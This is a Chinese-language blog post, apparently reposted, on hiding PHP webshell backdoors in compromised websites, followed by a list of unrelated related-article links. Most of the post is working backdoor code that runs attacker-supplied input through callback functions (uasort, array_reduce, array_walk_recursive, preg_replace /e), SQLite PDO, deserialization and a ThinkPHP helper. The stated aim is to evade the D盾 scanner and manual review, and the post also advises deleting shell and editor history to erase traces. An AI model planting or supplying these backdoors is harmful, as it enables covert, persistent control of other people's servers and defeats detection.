整理大部分来源信安之路

对于隐蔽来说,有以下几点要素:

1、熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏

2、清除痕迹,避免运维发现

3、避免后门特征值被 D 盾等工具检测到

姿势

一般过狗思路

最一般的绕狗、后门思路就是

call_user_func('assert', $_REQUEST['pass'])

直接参数回调,将$_REQUEST['pass']传入的数据,传递给 assert 函数去执行。

双参数回调后门

在 PHP5.4.8+ 版本中,assert 有一个新的可选参数 descrition。所以较于之前的 PHP 版本,我们可以使用一些新的方式去进行调用,这些新的方式也暂时还没有添加到D盾的特征匹配中。

Talk is cheap show me the code~

<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

$_REQUEST['e'] 的话,传递 GET 或者 POST 参数都可以。

uasort 函数在手册里这样定义:

如果我们传入的比较函数是 assert 的话,就会产生代码执行。

先将参数保存为一个数组,传入 'assert' 的 base64 编码,使用 uasort 函数调用即可。

由此方法引申出的姿势有:

一. 换为 uksort 函数:

<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1, $_REQUEST['pass'] =>2);
uksort($arr, $e);

二. 面向对象的方法:

<?php
// way 0
$arr=new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert'); // way 1
$arr=new ArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
$arr->uksort('assert');

三. array_reduce

<?php
$e=$_REQUEST['e'];
$arr=array(1);
array_reduce($arr, $e, $_POST['pass']);

四. array_udiff

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $e);

三参数回调后门(array_walk_recursive)

上面的函数都是两个参数,然后回调指定函数的,下面还有3个参数的:

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass'] =>'|.*|e',);
array_walk_recursive($arr, $e, '');

这段代码的最终效果是回调名字为 $e 的函数,$arr 数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

有哪些函数是可以三个参数并且代码执行or命令执行的呢?

最最常见的:preg_replace 函数在 e 修饰符条件下可以进行命令执行,原理可以看这个文章:

http://0day5.com/archives/4016/

最后的效果为:

preg_replace('|.*|e', '你的命令', '');

但 preg_replace 并不能直接用,因为 D 盾会将它作为特征值去检测,我们可以换一些其它效果类似的函数:

mb_ereg_replace
preg_filter

sqlite 回调后门

如果可以使用 PDO 的话,可以用 sqlite 的 PDO 来执行代码

<?php
$db=new PDO('sqlite::memory:');
$st=$db->query("SELECT 'phpinfo()'");
$re=$st->fetch
?>

隐蔽性满满的~

反序列化后门

之前说了要适应环境,增强隐蔽性,所以可以根据目标代码,去添加一些恶意类,然后用反序列化漏洞来传递命令,并且可以通过捏造可信度比较高的的类名,在 index.php 中就直接引用,更不容易被发现。

传输过程中,还可以进行一些加密、混淆操作,来绕过waf端检测。

思路可参照,前一阵子 typecho 爆出的反序列化漏洞:

https://www.th1s.cn/index.php/2017/10/25/138.html

thinkphp 特征后门

thinkphp 的自带方法中,存在可以作为后门的 I 函数

具体代码逻辑比较复杂,有兴趣的同学可以移步P神的文章

https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

只要在可访问的地方,加上一行代码:

I('post.ph0rse','',I('get.i'));

就可以传递 GET 参数:i=assert, POST 参数 ph0rse=你的命令

并且可以远连菜刀~

同样,通过审计,在其它开源框架中其实也可以发现类似的留后门技巧。直接调用源类库里的方法,再稍微加一点混淆和加密,就很难被发现了。

后话

真正的后门,要靠系统层

对于 PHP 后门来说,如果能做到隐蔽性,不会被D盾等工具自动检测出来。人工查看时,一时半会儿也看不出有问题,其实就够了。

受限于运维的日志审查,通过 PHP 去进行后渗透不太现实,PHP 后门最大的意义在于,留有一个通道。等其它通道关闭或者网站迁移(总要移代码吧)时,能够维持对目标站的控制。

而真正的后渗透操作,还是要考系统层的其它技巧,比如 shift 后门,ssh 后门,注册表木马等等~这些都是后话了~

擦除痕迹

想要让后面隐蔽,除了以上几点,还要清理好文件操作的痕迹。在 Linux 下就是删除 .bash_history 和 .viminfo 的记录,这些记录显示了你前段时间执行了哪些命令,修改了哪些文本。

而在 windows 下,就是在注册表中做一些操作~

奇淫异巧之 PHP 后门的更多相关文章

  1. 你可能不知道的 docker 命令的奇淫怪巧

    你可能不知道的 docker 命令的奇淫怪巧 Intro 介绍并收录一些可能会用到的一些简单实用却很少有人用的 docker 命令 dangling images build 自己的 docker 镜 ...

  2. 奇淫怪巧之在Delphi中调用不申明函数

    前一阵子,研究了一段时间的Win32Asm,研究到后来发现Win32的ASM实际上还是和C版的介绍的一样.甚至还封装了一个简版的类似VCL库结构框架的32ASM结构库,不过搞着搞着就没兴趣了,也没继续 ...

  3. [asp.net mvc 奇淫巧技] 02 - 巧用Razor引擎在Action内生成Html代码

    在web开发中经常会遇到在内部代码中获取Html,这些Html是需要和数据进行一起渲染.并不是直接把Html代码返回给客户端.这样的做法有很多应用场景,例如分页.Ajax一次性获取几段Html片段.生 ...

  4. Matlab流体后处理中的奇淫巧术总结

    Matlab流体后处理中的奇淫巧术总结 主要参考\demos\volvec.m示例 1.等值面绘制 %% Isosurface of MRI Data cla load mri D = squeeze ...

  5. [asp.net mvc 奇淫巧技] 01 - 封装上下文 - 在View中获取自定义的上下文

    我们在asp.net 开发中已经封装了最强大的HttpContext,我们可以在HttpContext中可以获取到几乎任何想获取的东西,也可以在HttpContext写入需要返回客户端的信息.但是这些 ...

  6. powerdesigner奇淫技

    在日常开发中数据库的设计常常需要建立模型,而powerdesigner是个不错的选择.但很多时候用powerdesigner生成模型后再去创建表结构,会觉得烦和别扭.那么能不能数据库表建好后再生成模型 ...

  7. [asp.net mvc 奇淫巧技] 03 - 枚举特性扩展解决枚举命名问题和支持HtmlHelper

    一.需求 我们在开发中经常会遇到一些枚举,而且这些枚举类型可能会在表单中的下拉中,或者单选按钮中会用到等. 这样用是没问题的,但是用过的人都知道一个问题,就是枚举的命名问题,当然有很多人枚举直接中文命 ...

  8. [asp.net mvc 奇淫巧技] 04 - 你真的会用Action的模型绑定吗?

    在QQ群或者一些程序的交流平台,经常会有人问:我怎么传一个数组在Action中接收.我传的数组为什么Action的model中接收不到.或者我在ajax的data中设置了一些数组,为什么后台还是接收不 ...

  9. [asp.net mvc 奇淫巧技] 05 - 扩展ScriptBundle,支持混淆加密javascript

    一.需求: 在web开发中,经常会处理javascript的一些问题,其中就包括js的压缩,合并,发布版本以及混淆加密等等问题.在asp.net 开发中我们使用ScriptBundle已经可以解决ja ...

随机推荐

  1. Linux 笔记 - 第十章 Shell 基础知识

    博客地址:http://www.moonxy.com 一.前言 Shell 是系统的用户界面,提供了用户与内核进行交互操作的一种接口,它接收用户输入的命令并把它送入内核去执行.实际上 Shell 是一 ...

  2. Android开发--Intent的使用(1)启动活动

    Android系统是目前世界上市场占有率最高的移动操作系统,近年来,Android开发也越来越炙手可热. 在Android开发中,我们使用Intent进行活动Activity之间穿梭. 当我们点击启动 ...

  3. 1、Spark 2.1 源码编译支持CDH

    目前CDH支持的spark版本都是1.x, 如果想要使用spark 2x的版本, 只能编译spark源码生成支持CDH的版本. 一.准备工作 找一台Linux主机, 由于spark源码编译会下载很多的 ...

  4. 译 .NET Core 3.0 发布

    原文:<Announcing .NET Core 3.0> 宣布.NET Core 3.0 发布 很高兴宣布.NET Core 3.0的发布.它包括许多改进,包括添加Windows窗体和W ...

  5. 有关Spring事务,看这一篇就足够了

    本文将按照声明式事务的五个特性进行介绍: 事务传播机制 事务隔离机制 只读 事务超时 回滚规则 Spring事务传播机制 事务的特性 原子性(Atomicity):事务是一个原子操作,由一系列动作组成 ...

  6. (三)Spring 高级装配 bean的作用域@Scope

    1.默认情况下,spring通过@Autowared注入的bean是单例的bean,但有些情况是不满足的,例如:购物车,每个会话,或每个用户登录使用的购物车都是独立的 spring的定义的作用域: a ...

  7. elasticsearch集群扩容和容灾

    elasticsearch专栏:https://www.cnblogs.com/hello-shf/category/1550315.html 一.集群健康 Elasticsearch 的集群监控信息 ...

  8. meta标签设置(移动端)

    一.首先出结论:移动端meta标签一般设置为: <meta content="width=device-width,initial-scale=1.0,maxinmum-scale=1 ...

  9. Windows认证 | 域认证

    在Windows中的身份认证方式有很多,也在不断的升级,但是在域中,依旧使用的是Kerberos认证. Kerberos 是一种网络认证协议,它的实现不依赖于主机操作系统的认证,无需基于主机地址的信任 ...

  10. [python]OS文件系统

    1.getcwdd() 获得应用程序当前的工作目录 #getcwd() 获取应用程序当前的工作目录 import os print(os.getcwd()) 2.chdir(path) 改变当前工作目 ...